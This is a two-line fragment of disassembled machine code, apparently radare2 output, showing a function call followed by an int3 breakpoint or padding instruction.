call fcn.1009b185
int3